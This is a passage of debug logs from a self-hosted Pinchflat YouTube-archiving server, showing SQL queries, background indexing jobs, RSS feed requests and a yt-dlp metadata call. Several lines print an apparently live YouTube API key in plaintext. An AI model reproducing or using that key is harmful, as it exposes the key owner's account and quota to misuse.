s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:10.374 [debug] QUERY OK source="settings" db=0.0ms idle=174.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:10.374 [debug] Running yt-dlp command for action: get_media_attributes 17:39:10.374 [debug] QUERY OK source="settings" db=0.0ms idle=174.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:10.374 [debug] QUERY OK source="settings" db=0.0ms idle=174.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:10.375 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:10.375 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d5/e5/d5e596751f6114c1f41cce661828e18194d086bbfb0cdbff1a76d35af4a8d14c.json --sleep-requests 67 --sleep-interval 64 --sleep-subtitles 71 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:39:16.589 [info] {"source":"oban","duration":9745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:37.048 [info] GET /sources/2373d096-97ad-46b0-b2be-43416605c93f/feed.xml 17:39:37.048 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "2373d096-97ad-46b0-b2be-43416605c93f"} Pipelines: [:maybe_basic_auth] 17:39:37.048 [debug] QUERY OK source="sources" db=0.1ms idle=829.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["2373d096-97ad-46b0-b2be-43416605c93f"] 17:39:37.050 [debug] QUERY OK source="media_items" db=1.4ms idle=702.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [26, 2000] 17:39:37.054 [debug] QUERY OK source="source_metadata" db=0.0ms idle=707.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [26] 17:39:37.054 [debug] QUERY OK source="media_metadata" db=0.0ms idle=707.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577903] 17:39:37.054 [info] Sent 200 in 5ms 17:39:46.597 [info] {"source":"oban","duration":7305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":12} 17:39:59.248 [info] {"args":{"id":14},"id":5268487,"meta":{},"system_time":1791585599248192914,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:39:59.248 [debug] QUERY OK source="sources" db=0.1ms idle=901.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 17:39:59.249 [debug] QUERY OK source="settings" db=0.5ms idle=901.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:59.249 [debug] QUERY OK source="media_profiles" db=0.1ms idle=902.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:39:59.249 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:59.249 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 17:39:59.249 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:59.249 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:39:59.471 [debug] QUERY OK source="media_items" db=0.6ms idle=222.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "uMhdcq2rqUU", "E5p4TgCNd1I", "NS1Qlu1JTOs", "Nx6ThYgEtg8", "yTD_VbxleZU", "AR-F8Ttpld8", "XQNhCU17ipM", "Hj_yRDR9EzE", "9KwLFC6RDGk", "qz9DvI-NY6k", "oCez-4XUoew", "5bsI3M44NWo", "AVd3ds5U2xc", "NQGYqypeUOs", "-SSI6E5QCOw", "j43j9iwU158", "-mKb75P7wT0", "mWFKVqtAkeI", "qUVsX49fNFw", "b1huB4CSzks", "bMPgRlgcJcE", "ssavPVf6JvE", "mrcnQu6Xfas", "W5fK8BmgBow", "3lJ5oT_JviI", "TpVM45JNupQ", "oMUaZsvJQVQ", "xVm6_IIrHc4", "XXrCAC6bUsk", "Y4IJxO518mI", "DsfsZQjOfu0", "1i8a24si74Y", "E2KfkGF77uo", "-iwvu0uozhs", "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", ...] 17:39:59.473 [debug] QUERY OK source="media_items" db=1.6ms idle=222.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 17:39:59.474 [debug] QUERY OK source="tasks" db=0.1ms idle=224.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268526, 14, ~U[2026-10-09 22:39:59Z], ~U[2026-10-09 22:39:59Z]] 17:39:59.474 [info] {"args":{"id":14},"id":5268487,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":226211,"event":"job:stop","queue_time":418247,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:40:00.172 [info] GET /sources/23662757-adf4-4a33-adf1-b92fb2169582/feed.xml 17:40:00.172 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "23662757-adf4-4a33-adf1-b92fb2169582"} Pipelines: [:maybe_basic_auth] 17:40:00.173 [debug] QUERY OK source="sources" db=0.1ms idle=698.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["23662757-adf4-4a33-adf1-b92fb2169582"] 17:40:00.179 [debug] QUERY OK source="media_items" db=6.1ms idle=698.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [37, 2000] 17:40:00.206 [debug] QUERY OK source="source_metadata" db=0.1ms idle=732.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [37] 17:40:00.207 [debug] QUERY OK source="media_metadata" db=0.0ms idle=732.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577913] 17:40:00.208 [info] Sent 200 in 35ms 17:40:00.466 [info] {"source":"oban","duration":140,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:12.261 [info] {"args":{"id":12},"id":5268488,"meta":{},"system_time":1791585612261403570,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:40:12.261 [debug] QUERY OK source="sources" db=0.1ms idle=914.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:40:12.261 [debug] QUERY OK source="settings" db=0.0ms idle=914.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:12.262 [debug] QUERY OK source="media_profiles" db=0.1ms idle=915.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:12.262 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:12.262 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:40:12.262 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:12.262 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:40:12.385 [debug] QUERY OK source="media_items" db=0.6ms idle=123.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "1MNtfa4Vz3A", "SMPOq2HLKUA", "J0Jqwz1TYWY", "pWDda2xpEMs", "T7iG4HQX1k0", "y5HI3H-HonQ", "BDp3y1ESUgs", "tQXkGF1aj6g", "Dr8H7Mk0mlQ", "r8fCHfCYDM8", "zNFfKizSREg", "wynxywGRI4s", "wJruCJeJfhs", "65-gDU6-KDk", "ESky67qiImY", "YH1c3ui1YSw", "JCDjCkqhVsY", "yD5jWchlMJU", "AvdTb-b0K1Y", "r_GPHfEGYs8", "asbD9Y76skM", "tPava4N8yTA", "zDjFEJc_Wko", "lKt1uRckoK0", "X_VZkrKSxuE", "ub4JMolyisQ", "yRqmozs41jw", "EUkZGw-Ogtw", "FcaiBjj8sFU", "wzDc7xge5YI", "DRIN_5Cyfdw", "8148SmsqtPM", "4Xv2V0Ci-lM", "qHEh5yYRVpg", "Ipkp8QTQWAo", "tpdd_YDkHHM", "u4f2nkXMrfo", "pNfgQ-KqHR4", "T_u143DsQMA", "UwXJe1PjsxQ", "Yc0D5TR3fc0", "-t6uMUCLPrE", "AtOWpZbW7TY", "D46EY7Jk95E", "ZouMQaeHss4", "BYlKyhWoaak", "GQyCEfs1Uvo", "FfStumRlass", "KhM0q0vsitA", ...] 17:40:12.387 [debug] QUERY OK source="media_items" db=0.5ms idle=124.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:40:12.387 [debug] QUERY OK source="tasks" db=0.1ms idle=125.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268527, 12, ~U[2026-10-09 22:40:12Z], ~U[2026-10-09 22:40:12Z]] 17:40:12.387 [info] {"args":{"id":12},"id":5268488,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":126349,"event":"job:stop","queue_time":433113,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:40:13.262 [info] {"args":{"id":41},"id":5268489,"meta":{},"system_time":1791585613262159623,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:40:13.262 [debug] QUERY OK source="sources" db=0.1ms idle=874.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:40:13.262 [debug] QUERY OK source="settings" db=0.1ms idle=874.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:13.262 [debug] QUERY OK source="media_profiles" db=0.1ms idle=868.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:13.263 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:13.263 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:40:13.263 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:13.263 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:40:13.468 [debug] QUERY OK source="media_items" db=0.5ms idle=205.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "JzQIZDkMcGs", "FQmnCsKHeG4", "mDxWgesjlhk", "FYehYs0_1KY", "s_zRjrdFDSc", "RRrz6zuf6Ms", "WxhkLxoNKyM", "N2v0F3yDQqs", "vI34WDt4FIs", "2soMwflGs20", "8BnHbb9-pGQ", "A4jElvPYtBA", "dpy_KlWECoQ", "Lg__qeD2DME", "58B0tLPJCks", "ANs2vOmL5Ds", "yg5DTXQFo0A", "hfp0UFJYSa0", "NT5RQQvxt-Q", "i2Yucp8hNkQ", "KHmMhUnn9LA", "u1RphBMOI7I", "bpGWAQAXSgw", "8jitxV6EzIw", "CKeWRRzBzYM", "48OxK622Acw", "KP1yTKNgcGs", "szB93HcgTwA", "5MRtnqJZXMQ", "vvnXGva7F7s", "cowwaMFuCxI", "hDLWxg2jZuw", "Ugfy9IbfNJ4", "9yYf6Q1Ay9Y", "_oICJSV5GIk", "M4NaZ8oCVuA", "19X5MGLYsEc", "XEAA5G7Pg_k", "vK_30G0UBE8", "cMvgKmq5W0k", "-BhNFwmmO2w", "idQMPGx0dak", "I70OKWI0bdw", "98pFoaJbgpg", "MEUsYtWp1jU", "9i8mDxZqGq8", "cW-9xdvTrLU", "0-9BasVcJmQ", "hOKH5x9wbEY", ...] 17:40:13.469 [debug] QUERY OK source="media_items" db=0.8ms idle=205.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:40:13.470 [debug] QUERY OK source="tasks" db=0.1ms idle=206.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES 